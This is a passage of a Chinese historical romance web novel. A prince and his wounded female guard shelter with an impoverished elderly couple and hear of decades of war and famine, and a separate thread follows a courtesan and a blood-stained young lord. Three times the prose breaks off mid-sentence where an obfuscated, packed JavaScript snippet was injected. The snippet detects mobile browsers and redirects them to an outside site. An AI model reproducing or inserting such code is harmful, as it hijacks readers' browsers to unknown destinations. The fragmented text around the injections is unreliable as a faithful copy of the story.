老太大哭:“就一宿……一宿……” 老头着急道:“诶,老婆子,你干啥去,回来!哎!” 柴门嘎吱一声打开,老婆子摸索着扶起小娘子拉了进来,男子也跟着进去。 老人见此情景,不再阻拦,只是拄着拐杖重重叹息。 粗陶盛着野菜汤、一块大瓦片里撑着粗粟米和山芋捣成的团子,另有两个粗陶小碗里端着两碗水,带着股馊味,水面浮着层油花。 老头拨了又拨,先是小心翼翼给他们一人拨了个最小的山芋团子,想了想,又拨了个大的、夹烂了给他们一人一块。 男子夹起一点团子,小心翼翼咬了一口,脸色登时如打翻了染色铺子,怎么也咽不下去。 小娘子瞟了他一眼,小声道:“夫君,我饿了。” 男子正迟疑,小娘子夹起男子咬了一小口的山芋,津津有味吃了下去,又很珍惜地将未动过团子还给老人。 老汉仍戒备看着他们,老太却笑了:“这后生好,疼老婆。” 两个老人的房子塌了大半边,却还剩四间好屋子,想来祖上也曾阔过。 饭后小娘子主动挽袖洗碗刷锅,又听老人安排,进了距离主屋最远、一边靠近塌了屋顶的那间屋子,乖巧地铺床叠被。 老汉眼神也缓和了些,不再说什么,自回了主屋睡觉。 破门吱呀呀合上,男子坐在床边不知所措,小娘子脸色一变,噗通跪下道:“殿下恕罪,适才形势所迫,并非故意违逆。” . 这一男一女,正是从灵昌南下的元旻与阿七。 元旻本想在嘉州城找家客栈住一晚,次日坐船南下。岂料世道将乱,城镇已开始戒严,只怕有进无出。 阿七于是提议在江边野外宿一晚,第二天找一艘渔船。 元旻看了看她血糊呲啦的左肩,叹了口气:“找户人家投宿几日再作打算吧。” 孤身一人时,餐风也使得,饮露也使得,挨饿受寒都无妨。多了个人,却都总觉得委屈了对方。 见元旻神色缓和了些,阿七如释重负站起来,开门就往外走,元旻忙跟过去问:“干什么去?” 阿七笑着扬声道:“出去叉鱼?” 元旻诧异道:“这时候了,叉什么鱼?” 阿七说:“卑职见殿下晚饭一口未动,想是不合口味,此处临溪,叉几条鱼来果腹,殿下莫要嫌弃。” 元旻忽然有些羞愧,歉然道:“来这是让你好生养伤的,不是让你照顾我。” 阿七低眉顺眼,轻声说:“照应主上是卑职的本分。” 元旻叹了口气:“那两箭凶险,往后你不要再去以身挡箭了。” 阿七声音更恭顺:“臣为君死,也是应尽的本分。” 元旻噎了半晌,带着无奈、恼怒地说:“回去歇着,这是命令。” 阿七笑了笑,屈膝施礼,往屋里走去。却不躺下,而是解开了两个包袱中的一个。 这款包袱是阿七为飞廉设计的,每个包袱里都配有金银、几串铜币,伤药、镇痛药、各样通用解毒药、巴掌大的装满烈酒的革囊、还有干净中衣、白棉布、短匕首、小油纸袋、伸长约半丈缩短了却仅长半尺的套筒,等等不一而足,用时方知有多齐全。 阿七从包袱里拿了伤药、干净中衣、白棉布、短匕首、酒囊,用小袋包着,又往外走。 元旻顿时明白她要作甚,想同去帮忙,却怕她又跪又满口“忠诚”、“本分”,只得等她走远,悄悄跟了上去。 阿七推开柴扉,左转绕过一丛翠竹,顺田埂走到河边,再顺着河岸往上游走,到一处山湾转了进去。 约一刻钟后,元旻也转入山湾,一见眼前场景,双颊腾地红到耳根,忙背过脸去转身逃走。 波光粼粼里,她湿漉漉黑发披在脑后,瓷白的背脊、两片香肩、两节藕臂没入清泉,在月光下仿佛镀了层柔和的光晕。左肩上红色的箭伤仿佛是道纹绣,为那瓷白无暇增加了奇异的诱惑。 此处有一道山泉飞流,将地面冲得植被土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981226|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层全无,在岩石上冲击成一个约四五尺深的小池,再溢出去汇入外面河流。 阿七大半个身子浸在水中,夏日的山泉水干净清凉,连日来的疲惫消减不少,舒坦得倒吸凉气,靠在池中合眼假寐。 昏昏欲睡间,听到背后轻微的脚步声,手中短刀正要脱手甩出。忽然听出来的人是谁,一时僵在池中,走也不是、不走也不是,只好佯装不知。 幸而听到元旻转身奔出,心底稍松,深吸一口气,将上半个身子也埋进水中,凉了凉滚烫的双颊。 元旻有生以来,从未如此惊慌失态过,奔出去几十丈,仍感觉胸口怦怦直跳,似乎有什么要跳出胸腔。背对湾口等了一阵,久不见人出来,又有些不放心,走近了些呼喊:“可还好?” 湾里传出阿七闷闷的一声“嗯”,紧接着哗啦的破水之声,像是她从水中出来了,一阵悉悉索索解袋子声音,该是在找寻干净衣物,然后上药。 上药…… 元旻忍不住苦笑起来,轻声自言自语:“大半夜的失礼窥视,如今在这听声揣测女子出浴,真是越活越回去了。” 背后传来轻轻一声“那个……” “殿下,可否麻烦一下”,阿七迟疑道,话未说完已低头,脸红得滴血,“后背上……有点够不着……” 元旻诧异转头,见阿七只穿了中衣,忙又转过脸去。 阿七低头站在背后,咬唇,等了片刻没有回应。只好轻叹一声,坐下拿起蘸了烈酒的白棉布,使劲扯了扯右臂,却是仍然够不着。 两道重叠的箭伤有一段延伸至背后。 正思忖时,后面有人接过她手中棉布,擦拭伤口下端。动作极轻极柔,像是认真擦拭着什么矜贵瓷器。 阿七埋头,感觉轻柔的呼吸、带着淡淡沉水香从后颈吹来,像是被无数雉羽在胸口轻轻地反复拂过。阿七合上眼、深呼吸,强行镇定下来。 元旻跪坐在她身后,目不斜视,只盯着伤口一处,清理、上药、包扎,再替她拢好衣物。她转过来,对他恭敬地致谢,却在抬眸对视的一瞬红了脸,看向别处。 元旻局促得呆不下去,想了想,也起身进了空荡荡的水湾。水面寂静无声,只有月光洒在粼粼波光上,他却好似看到了什么,宽衣解带的动作倏然一滞,脸颊蓦地绯红,闭上双眼别过脸去。 磨蹭了半晌,爱洁的天性还是盖过难堪,他垂下头、艰涩地解开衣带,走进水池里,小心翼翼绕开阿七方才靠着的位置。 慢腾腾洗着,目光却直勾勾盯着那个位置,四下环顾无人,谨慎地往那里移了小半步、再小半步,一点一点,直至完全站在那个位置上。 他闭上眼睛,脸越来越红、胸口剧烈起伏,深呼吸了很多次,才渐渐平复下来。 “原来,这就是女子。” 元旻沐浴出来后,蓦然想起自己出来得急,竟忘了带干净衣物,强忍不适捡起沾满汗渍和灰尘的中衣,正要往身上套,外面传来急促的脚步声,紧跟着是阿七的话音:“殿下,干净衣物放这儿了。” 紧跟着,一个布包从垭口被丢进来,准确无误落在水池边的草地上。 他解开布包,扑面而来清新的皂角香,一样一样拿出来,天青色布袍、腰带、丝麻中衣、亵裤…… 想象她那双纤长细白的手,就这样收拾着他的中衣和亵裤……刚刚平复的心绪又开始翻涌,迟疑许久,才慢吞吞穿好衣袍,却怎么都不自在,像是那双手在他全身搔拂。 出来时,草地上空无一人,放着一小堆柴,底下压着一张炭笔写的字条——东边捡柴去了。 他闭上眼长舒一口气,拿起字条思忖片刻,走向西边山坡。 17. 同床共枕 因靠近民居,山坡上可用的柴薪并不多,元旻捡了快三刻,才堪堪够合抱一堆。 回来的时候,地面已升起一堆火。火堆旁用拇指粗的五根树枝扎了个架子,他的所有衣袍、阿七的外袍正铺展开挂在上面,散发着洁净的皂角清香,一滴一滴沁出水珠。 阿七蹲在水边,正专心致志搓自己那件沾满血渍的中衣。 木架子横担还有空当,等着晾她自己的中衣。元旻注视了片刻,走过去将晾在上面衣袍调换了位置,那件他的中衣被挪了挪,挨着横担空当。 他盯着那空当,后退数步,满意地笑了。又砍了根树杈、将头部削尖成鱼叉,走向溪边,果真叉上来几条鳜鱼,拿起来却不知如何处理。 阿七已洗好中衣,拧干水份搭上横担,两件中衣紧挨着搭在一起。 见他拿着鱼不知所措,她唇角弯了弯,双眼亮晶晶的,接过鱼拿到河边,刮鳞、剖腹、掏内脏一气呵成,再串上细枝,放在火上翻来覆去慢烤,如是这般折腾完,已是半夜。 让伤者如此劳累,元旻颇有些过意不去,讪讪道:“你倒是什么都会。” 阿七笑着说:“刚开始也什么都不懂,野地宿得久了就都会了。” 见元旻脸色不虞,忙又说:“殿下是千金之躯,这些小节无需计较。” 火光将二人面孔烤的红彤彤的,元旻借火光反复打量着她,仿佛第一次认识到她。 另一个她。 烤鱼的翻动渐渐慢了,他凑近了细看,发现她双目紧闭,呼吸绵长轻缓,竟就这样坐着睡着了。 元旻轻轻从她手中拿过烤鱼,一瞬不瞬看着她,荆钗布裙、粗布麻衣,也掩不住她眉眼的秀美灵动,睡颜在月光下分外恬静,像一朵悄然绽放的优昙。 夜风吹来些凉意,他习惯性伸出手去揽她后背,想要抱起她送回去。刚接触到她的后背,忽然触电般缩回,双颊滚烫、连着呼吸也粗重了几分。 “男女有别。”他低头轻声说着,一遍又一遍,第一次领会这四个字的含义。 手僵在那儿半天,无可奈何地退开,他轻手轻脚脱下外袍,为她披上。 阿七小时候心思浅、性子活泼好动,兴庆宫方圆一公里内所有围墙、树木被她爬了个遍,还特别喜欢躺在树枝上玩。飞得累了,无论身处何地、倒头就睡。 他总在某个树枝上、角楼柱子后、或是花园的角落寻到熟睡的他,轻手轻脚抱起来,一直抱回兴庆宫偏殿,她都毫无知觉,睡得死沉死沉的。 “雷都打不醒,被人卖了都不知道。” 后来有一次,他抱着熟睡的阿七回去,正好冯姮过来看他。冯姮神色复杂看了他们许久,才艰涩地说:“阿旻,阿七是女孩子,男女有别。” 他不太愿意相信,周围女孩子都是香香软软的,像锦绣明丽的花,阿七却像一株柔韧的新柳。 但是冯姮说的话总是很对,容不得他质疑。 冯姮又说:“你父王打算等她及笄,就册封她为公主,她以后会与别的男子成婚,就像你大嫂与大哥一样,跟别的男子朝夕相对、一起生活。” 他从小就想,若是将来为君为王,一定将阿七收为心腹爱臣,昼夜不离的那种。突然知道她是女子,心情空落落地郁闷了好几天,她是女子……及笄后会变成自己名义上的妹妹,要跟男子一起生活,心里眼里只会装着她的夫君,不再属于他…… 他冥思苦想了几天几夜,突然福至心灵。 有一个办法,可以让她即使是女子,也能留在自己身边,一生一世都不分开。 . 晨风拂晓,院外的竹林簌簌细响。 元旻醒来,支起窗上木板,看见老夫妻早已起床。 老汉在田间挥着镰刀割麦,老太拿着个破碗在院里走来走去,嘴里“咯咯”唤着鸡群,一只骨瘦如柴的黄犬跟在她身后摇尾巴。 身后的板床上,阿七睡得极沉,呼吸均匀而深长,他蹑手蹑脚走过去,坐在床沿许久,也未见她清醒。 这与世隔绝的穷乡僻壤,时间的流速似乎都要慢上许多。 昨晚元旻一直等到后半夜阿七醒了,才同她一起归来。 阿七一看房内只有一张板床,立即就要打地铺,他怎么命令都不管用,大有若让他睡地板、她就要以死谢罪的刚烈。 他盯着她肩头的箭伤,注视了许久,竭力用最平淡的语气说:“那就都睡床吧。” 几乎一瞬间,阿七睁大了双眼,难以置信地看向他,他感觉全身的血都冲到两侧脸颊,表情却没有丝毫变化。 终于,她低头轻声说“遵命”,然后躺到床上,不过须臾,就又睡了过去。 板床很大,他先是远远躺着,注视着她泰然的睡颜,有些欣喜、又有些失望。 很困很累,却怎么都睡不着,先是轻轻往她身边移了移,再移了一点,离她越来越近。他喉结上下滚动几番,手心全是汗、慢慢攥成拳,闭上眼,在心里默念。 “还有四个月。” 翻来覆去到天快亮才勉强入睡,朦胧之间,一声大笑突兀钻进睡梦。 “……何况殿下母子待她恩重如山,莫说只是赠她簪子,即便是即刻要了她的人、要了她的命,她也绝无半个不字,你可敢试试?” 如一盆冰水兜头浇下,他瞬间清醒。 他再也睡不着,推开卧房门走了出去,在墙脚找到扫帚,生疏地打扫起来。 老太看了他一眼,眉眼愈加温和,也不阻拦。喂完了鸡,又颤巍巍地往外走去,走到很远地方的田埂停下,弯下腰慢慢拔草。 . 灵昌庆云巷,洛川别苑。 锦瑟在精致的紫檀月洞门架子床上醒来,藕色软罗帐低垂,绣满胭脂色的芙蕖。床的对面搭着一张榻,榻上的人睡得并不安稳,鸦羽似的睫毛不断颤抖。 本想叫醒他,却又看到满地衣袍上干涸的血迹,不由打了个寒颤,轻手轻脚躺回原位,动也不敢动。 锦瑟本来叫什么无人知晓,六岁前她沿街乞讨,所有人都叫她“花子”。 六岁后她被一个自称“妈妈”的人养起来,教些吹拉弹唱、骨牌双陆,还说她是什么“瘦马”,她至今不知好好的人为何被称作“马”。 养到十五岁又换了个名字,叫豆蔻。 后来,她才知道,所有“瘦马”满了十五岁,都会变成“豆蔻”。 那晚,盛装的她坐在倚翠楼的高台上,竞拍初夜、价高者得。 四周贪婪的眼神像是无数触手,层层叠叠蠕动着伸过来,扒开她衣裙,将她看得一丝不留。 虽早知有这一天,临了还是害怕得打颤。 “二百两!” “三百!” “三百五!” …… 一个清冷的声音突然响起,声音不大,却字字清晰:“五千金!” 四下瞬间悄寂无声。 “她从此只属于我,与倚翠楼再无干系。” 她错愕着定睛看去,坐那儿的是个很漂亮的少年,眼神清澈、唇若花瓣,只静静坐在那,却总能叫人一眼注意到。而他的孤寒,连环绕他的空气似乎都冷寂如雪。 那少年买下她之后,出门转头就将身契交还了她,这前所未有的大好事让她十分不安,主动问他,是否真的不需要自己做什么? 少年思索片刻,说自己刚修的宅子很空,如果她愿意,可以住进去,只要每天生活得幸福快乐就行了。 她说,自己飘零了十几年,无父母兄弟,除了跟着他无处可去。 于是,她从倚翠楼的豆蔻,变成了洛川别苑的锦瑟。 少年很忙,白天几乎不着家,若晚上回来得早,会与她一起吃晚饭、喝喝酒、说说话,然后自己回房独宿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981227|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看起来是个欢场老手,却偏偏喜欢独宿,从不宿在她房里,只派人每日好吃好穿地供养着。直到昨天…… 她住在深宅大院,也隐隐晓得外面乱了,洛川别苑却一如既往地安静,守卫森严,并不曾有乱兵侵扰。 想来那少年是个很有权势的人,只是如今兵荒马乱,不知他此刻怎样了? 茶不思饭不想,焦躁了一整天,直等到快后半夜…… “姐姐可叫我好找”,门突然大开,站在门口的少年笑容灿烂,在看到她时似乎双眸一亮,往里走了两步,“你果然没走,你还在这是不是?” 锦瑟不知所云,只好顺着他的话说:“我除了在这等你,还能去哪?” 她忽地瞳孔放大,骇得倒退半步,少年的脸上、软甲上、铁靴上,全是干涸的血。 少年顺着她的目光,看了看自己,挤出一个微笑:“既然姐姐不喜欢,要它作甚。” 于是一件一件脱下带血的衣物,抛出屋外,步履踉跄、慢慢走过来。 锦瑟战战兢兢站起来,想迎上去,少年不瞬不瞬盯着她,笑意温柔:“姐姐勿动,就在那等我。” 浓浓的酒气混着血腥,向她一步步走来,走到她面前屈膝跪下,依偎着她双腿,身躯竟有些颤抖。 他将头温柔地放在她膝盖上,仰头看她,眼神有些痴,似乎她如珠如宝,如九天谪落的仙子。 然后,拿过她的手,轻轻贴在自己脸颊上,轻柔地摩挲。缓缓阖眼,感受她手心的纹路、温度。 阖目的瞬间,两行清泪缓缓溢出,划过他的脸颊,濡湿她的罗裙。 他用轻得近乎梦呓的声音,喃喃道: “姐姐,我不是故意的。” “我想伤的,不是你。” “姐姐,不要走…” “姐姐,再看看我…” 锦瑟感觉少年剧烈颤抖起来,俯首看去,那少年伏在她膝头、抓住她的手,早已泣不成声。 . 阿七醒来时已近黄昏。炊烟袅袅,老太在院子里驱赶鸡群入笼,一条骨瘦如柴的黄狗跟在她身后摇头摆尾。 而不远处的麦田里,元旻正帮着老汉将割下的麦穗捆扎好,两手各提两捆,放到屋檐下,如此往复多次…… 汗水浸透了他的布袍、再蒸发成白色的盐渍,他额前和下颌都粘着麸皮,满脸黄黄黑黑的灰。 阿七想到他前几天还正襟危坐、端然高堂的模样,忍俊不禁。 经过昨夜的极度尴尬后,二人竟比以前熟络了许多。 元旻抬头瞥见她看自己笑话,也不恼怒,自己倒忍不住跟着笑起来:“你这一笑,还跟十多年前一样。” 十多年前,两小无猜的年纪。 “殿下仁厚。” “时人不识农家苦,将谓田中谷自生”,元旻喟然长叹,“他们已耄耋之年,宫里的管事们到这个年纪都该养老了,总不能眼看他们如此辛劳却无动于衷吧。” 阿七拊掌称赞,笑盈盈注视着他,元旻心头一暖,他发现,这是她自懂事以来,第一次平视自己。 因为从未劳作过,他的手已打了一连串血泡,晚饭时手抖得碗都扶不稳。饭后,二人像昨晚那样依次去山中水池沐浴,回来之后,阿七坐在院中,借着月光埋头替他挑破手上血泡。 “一直不甚明白,你为何只去山里沐浴,”他瞥了一眼她湿漉漉的头发,“虽天气暑热,过分贪凉总是不好。还有,为何你夜晚从不掌灯?” 阿七叹了口气:“殿下可见到,白天何大娘将一缸子水放到院中?” 元旻点头:“晚上何太爷就在那口缸子里沐浴。” 阿七又道:“他们的油灯,灯芯极短。” 元旻认真思索片刻道:“是,灯光很是昏暗。” 忽然意识到什么,沉默良久道:“民生竟艰难至此。” 18. 生民百遗一 阿七轻声说:“不止柴薪、灯油,粮食、盐、铁、木材,他们什么都缺。” “他们并不关心谁做了王,将相王侯的争权夺利、爱恨情仇对他们都是塌天大祸。他们要的,只是吃饱饭……” “甚至连吃饱饭也不敢奢求,只求饿不死、冻不死,少些饥荒、疫病、征兵,若是那些无可避免,那就少死几个家人,好歹留得一两个。” 元旻心头巨震,恍然想起昭王曾在他幼时说:“阿旻,为一国之君,为政时就该像庙里的神像,中正平和,不能放纵欲望和情感,不能有太明显的喜恶。” “上位者一句轻飘飘的话语,落到百姓身上,就是几辈子翻不了身的山岳。” 是夜,劳作一天太累,元旻倒头就睡,醒来却发现外面一片漆黑,稻田里蛙声一片。 月亮不知何时隐入云中,夜风飒飒带来些湿润气息,屋顶响起嘀嗒的雨声。起先稀稀落落,逐渐转密,暴雨倾盆而下。 睡在主屋的何老太骤然警觉,大喊:“老头子,麦穗盖上了不曾?” 何老汉镇定地回复:“那个后生全帮我们堆到檐下了。” 何老太如释重负,松了口气,不久之后,主屋再度响起鼾声。 元旻的心也随他们紧张提起、再放下。 屋里阿七的呼吸声依然平稳绵长,他却再也睡不着。眼前一忽儿是何老汉颤巍巍的身躯,一忽儿是半瞎的何老太那天下午带着哭腔喊“娅娅”,一忽儿是阿七正色跟他说的那些、他从不曾听过的话。 借着窗外不时闪过的电光,坐回床沿。阿七侧躺在床上睡得正香,一绺发丝散下来、拂在脸颊上。 元旻轻轻拈起那绺发丝,缠绕在自己指间,抬起手搁在鼻尖,嗅着一缕若有若无的香气。 “还有四个月。”他唇角扬起,轻声重复。 次日清晨,依然暴雨倾盆。 阿七早醒了,收拾了他的脏衣、又抢过何老太手里的,就着暴雨在檐下一边洗、一边与何老太叙话。 “四郎有福气,娶到这样贤惠的娘子。” 阿七埋头不语,双颊绯红。 何老太却似陷入回忆:“当年啊,我那大儿媳也这样贤惠,只要得闲、从来舍不得我这婆母做些活。” 阿七随口问:“她如今在哪?” 何老太道:“生第八个孩子的时候,大出血没了。” 元旻讶异道:“生育对女子损耗极大,为何要生这么多?” 何老头重重叹气:“儿子少了,种庄稼、抢田地、抢水源都没人,这世道,养大个孩子不容易。想当年老汉也有八九个孩子,最后活到成家的只有两个。” 元旻有些羞愧:“抱歉。” 何老头毫不在意笑了:“郎君一看就是读书人,想来家资颇丰,不晓得咱们庄户人家的日子也没啥。” 半晌,何老太又道:“说句话小娘子莫嫌晦气,小娘子的声音,跟我那小外孙女可真像。” 阿七想到她大儿媳,不敢问了。 何老太却继续抹泪道:“娅娅是老婆子家六姑娘的娃,生下来没了娘,五六岁的时候朝廷征兵,将她爹拉走了……” “娅娅长到十五六岁,水灵得像一枝花,瞧着可惹人疼。那年又闹兵灾,我家娅娅出了趟门就被盯上了,那些人追啊追,娅娅一直求人开门让她躲一躲,谁敢?” “后来我家娅娅就被…回来都劝她想开些,啥都比不上活着要紧,还是看不住哇,偷了剪子结果自己……” “她小时候最怕疼,扎了自己那么多下,也不知道疼不疼……疼不疼啊……” 阿七眼圈发酸、有些热,想起自己当日作伪求收容的场景,很想给自己两巴掌。 正在此时,挨着倒塌房屋的那一侧“咔擦”一声,发出不堪重负的断裂声,又塌了一些。 只剩三间好屋子了。 元旻忙回屋取了包袱被褥,搬到隔壁,目光看向对面山林,想着砍哪根树、再留些钱给老人修缮一番。却听老汉道:“郎君不必焦心了,等老两口入土,这房子塌便塌了,何须费那些银钱。” 元旻不知如何作答,只得低声问:“你们过得,一直这样难么?” 此言一出,都沉默了。 老汉笑了笑:“听我太爷爷的太爷爷说,以前那时候没什么国王、县官,只有酋长和王,各种各的地、各养各的娃,也不用纳什么粮、征什么兵……” “有那么高的戎陵,谁都进不来……祖屋就是那时候修的,足足十间呢。” 那时候,说的都是那时候,安乐富足的那时候,史书上记载、荣国尚未取得戎陵山以南的时候。 . “大约八九十年前,有个国王派了五个比你还高大的后生拜访我们的王,后来不知怎的把山弄开个口子,荣国的兵就来了,说这是他们的土地,以后要给他们纳贡。” “咱们祖祖辈辈都在这,怎就成了他们的土地?” ——八十九年前,荣襄王派手下五位干将,凿开戎陵山脉西段,修路铺桥、架设八百里平虞道,收古虞国平原沃野三百万顷。 “老头子今年七十一,家中兄弟六个、姊妹五个。长到十五六岁时,抓壮丁没了四个。” ——五十八年前,荣庄王征兵十万,趁伊河结冰多次侵扰上阳,几年后被上阳军、镇南军合围,全军覆没。 “长到二十岁,又说要给北方哪个王送女人……我三个妹妹全被拉走了……郎君你是读书人,且说说,那些王已经有那么多女人,怎么还不知足呢?” ——五十四年前,荣庄王战死,继任的荣僖王进贡美女三千、钱粮无数向翊威王求和。 “三十七岁那年夏天,羌河涨大水,两个姐姐全家都没了。我家四小子眼看柴堆被冲走、非要去抢,柴没回来、人也没回来……才那么大点人,还没灶台高……” ——三十七年前,羌水大汛,毁屋舍不计数。 “当年的麦子、苞米、稻谷全都没了。那年冬天我家五小子冻死了,九小子还在娘胎里,营养不够也掉了,老婆子伤了身子。” “第二年春荒啊……一家子实在饿的受不了,我家七姑娘和八小子饿死了,送出去给人换着埋了,一家子才活下来。” “到了秋天又开始征兵,说是什么国王打来了,我家二小子和三小子被拉走了。小郎君你说说,那些国王放着太平日子不过,打来打去做啥呢?” ——是年,大饥,人皆易子而食,翊伐其北。 “后来过了十多年好日子,大郎有了老婆孩子,六丫头也嫁了人。生娅娅那年发了瘟疫,六丫头怕传给男人孩子,自个儿去林子里吊死了,我家三个孙孙也没挺过来。” ——二十五年前春,大疫。 “又过了五年,征民夫修什么城墙、又要拉女人去制军衣,我家大孙女和三孙儿被征走啦。” ——二十年前,征和四年,翊昭王灭滬国,荣武王震悚,倾举国之力巩固边防。 “六年前,又开始征兵了,我家二孙子他……” ——六年前,征和十八年,荣武王扰上阳,兵败。 “五年前的冬天可真冷啊,鹅毛大的雪,屋子漏风没人修缮,我家最后一个孩子也冻死啦。” “他们说什么王死了、老天都在伤心,他一个人死了老天爷就伤心,我家死了那么多人怎不见得伤心?郎君你说说,这是什么道理?” ——五年前,征和十九年冬,荣武王薨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为每个人种的粮食都只够生存,所以一点天灾就饥馑连连;死的人多了,天地间的正邪两气平衡被打破,就会有瘟疫,而每个大夫殚精竭虑一生,最多却只能教导出数位大夫,大夫的数量永远不够……” “你问我们能否消灭这些,恐怕令你失望,我们不能。一国之主,终其一生,也只能尽力平衡、周旋,拆东补西,死更少人、活更多人。” 阿七仰头看他,听得出神,忘记了流泪。 元旻看着她,笑了,忍不住又摸了摸她柔软的发丝,道:“你听得懂,对吗?” “但是,总会变好的”,元旻极目望向更远的江面,“数千年前,原人还在茹毛饮血,炎黄蚩尤还在纷争不断,几乎无人能寿终正寝,现在,好一些的国度,已经不会饿死大部分人了。” “我们做不到,我们的子子孙孙可能也做不到,但是总有一天,会有大同治世。” 阿七陷入沉思,没注意他说的“我们”,忽然双眼一亮:“老有所终,壮有所用,幼有所长,矜寡孤独废疾者皆有所养,男有分,女有归。” 元旻点头:“我不知那时谁称孤道寡,但是,定会有如神农那般的人寻到一种作物,同样土地耕种出来的粮食翻倍,每个人丰衣足食,有闲暇研学圣人学问,民智全开。” “定会有如大禹般精通水利之人开凿水渠疏导河流,让伊河、长流川不再泛滥成灾;也定会有专研医学的书塾,同一医者桃李满天下。” “或许在那个世界,已不需要君主,每个人都能把控自己命运。” 说着,收回目光,看向阿七,发现她正一瞬不瞬看着他,泪痕已干,唇角漾出笑意。 “我也想让这世界变得更好,哪怕只有一点点。” 19. 与君偕行 渡船从三江村出发,顺羌水南下,再转向东行。因水中暗礁颇多,风力相阻,花了四五日才驶入长流川,又过十多天,方至大渡口。 兵荒马乱,就连这荣国第一大富庶之地也未能幸免。虽不至尸山血海,秩序却已乱了,有些钱权的早早听了风声卷包外逃,踏上街面,各住宅店铺均关门闭户。 元旻带阿七走进梅老板的船坞,梅老板早已带家小撤离,只剩十来个仆从躲在地窖里,等候接应他们。 仆从们将他们领至江边一处滩涂,穿过比人高的芦苇,找到藏在芦苇荡后一片高大榕树下的船。 又恭恭敬敬抬来两口木箱,打开其中一口道:“冯公子,这些都是老板照信上所说,替公子采购的东西,请公子点点。” 元旻点头,阿七有些好奇,也一同看去,目瞪口呆。 好财力! 只见箱子呈“丁”字分为三格,长的那格是一匹匹厚实的提花锦缎,有蓝、黑、红、白、黄各色不计其数,短的格子左边是叠得密密实实的银砖,最小的右下角,放着几个瓷瓶、螺钿盒、锦盒。 元旻依次拿出瓷瓶、螺钿盒向她一一解说:“都是今年新制的,我问过春羽女孩子用的东西,这是面脂、这是香露、这是可以祛疤的药胶、这是拂手香……” 阿七不知他何时也开始关注女孩儿用的东西,心头骤然一暖,唇角带笑、有些羞赧地说:“殿下好生周全,连卑职这些细枝末节也能顾及。” 元旻听到“卑职”二字,笑容一滞,又从柜中拿出个细长锦盒。 阿七乍一看锦盒,突然生出不祥的预感,及至锦盒打开,更是眼前一黑。 华丽的锦盒上,蘸金粉绘了一支木槿,也题诗六句:有女同行,颜如舜英。将翱将翔,佩玉将将。彼美孟姜,德音不忘。 锦盒打开—— 那是一只极其精巧的发簪,用整块彩玉雕成,触手润泽生温,一见便知是有价无市的稀罕宝物。 碧色簪体雕成茎杆绿叶,尾端雕成玲珑剔透的木槿,做工精巧、莫说那层层叠叠的紫色花瓣,就连嫩黄花蕊都纤毫毕现。 那簇木槿,不多不少,正好七朵。 同那枝芙蕖簪相比,这木槿簪的外盒、簪体、形制、花簇十分相似,唯一区别只是叶更细长、花形不同、颜色较深。 元旻盛怒摔碎芙蕖簪的场景犹在眼前,阿七一想到那场景就胆战心惊。如今乍见此簪,忽然觉得前些日子言笑晏晏只是错觉,他比以前更难以捉摸,心思更深沉了。 前脚摔碎一支,后脚送一支差不多的,怎么想的?点她么? 这簪,送得可真妙…… 叹了口气,捧着盒子踌躇半晌,还是颤颤拿起那枝木槿簪,别到发髻上,又悄悄站得离他远了些,似乎他随时会伸手拔去摔碎。 元旻看她一脸战战兢兢,声音带着失望:“若不喜欢,不必戴了。” 阿七手一抖,忙屈膝下跪,稽首大拜:“尊者赐,不敢辞!” 元旻一听这六个字,心蓦地一沉,别过脸看向远方,缓缓闭上眼睛。 他无声捏紧了拳头,迎着江风,轻声挤出两个字,咬牙切齿:“苻洵!” . 绣满芙蕖的帘幕飘飘转转,芙蓉帐底,锦瑟是被疼醒的,枕边人紧紧攥着她的手腕,铁钳似的手险些将她腕骨捏碎。 昨晚苻洵又满身是血地回来,闷头喝了不少酒,到了她房中。褪去带血的铁甲、长袍,洗去满身血迹后,换上干净的中衣,然后攥紧她的手腕睡了一晚上。 锦瑟侧过身躺着,静静凝视他的睡颜。鸦羽般的睫毛剧烈颤抖,两滴泪珠盈盈欲滴,困在噩梦中的人似乎想呼喊什么,却发不出半点声音。 他呼吸越来越急促,嘴唇颤抖几番,终于张开,发出一声哀嚎:“剌纽!” 猛地弹坐而起,溺水般大口喘息,眼神空洞看向前方。 锦瑟忙伸手抚他后背,软语宽慰着。却听前门传来一阵喧哗,府兵奔跑的声音、铁靴踏地的声音、仆从追在后面大喊的声音。 其中最清晰的,是个男子的怒喝:“苻洵,给我滚出来!” 苻洵呆滞的眼神忽然活了,示意锦瑟先下去,镇定地起身穿衣。 他穿得极慢,披上玄色外袍,缓缓拉过襟衽整理好,慢条斯理地系腰带、戴护腕…… “嘭!”卧房门被人踹开,来人气势汹汹站在门口,身形伟岸、一身黑衣黑甲,手中提着一杆红缨枪。 苻洵若无其事,慢慢戴着护腕,轻快地笑着打招呼:“哥哥,早上好啊。” 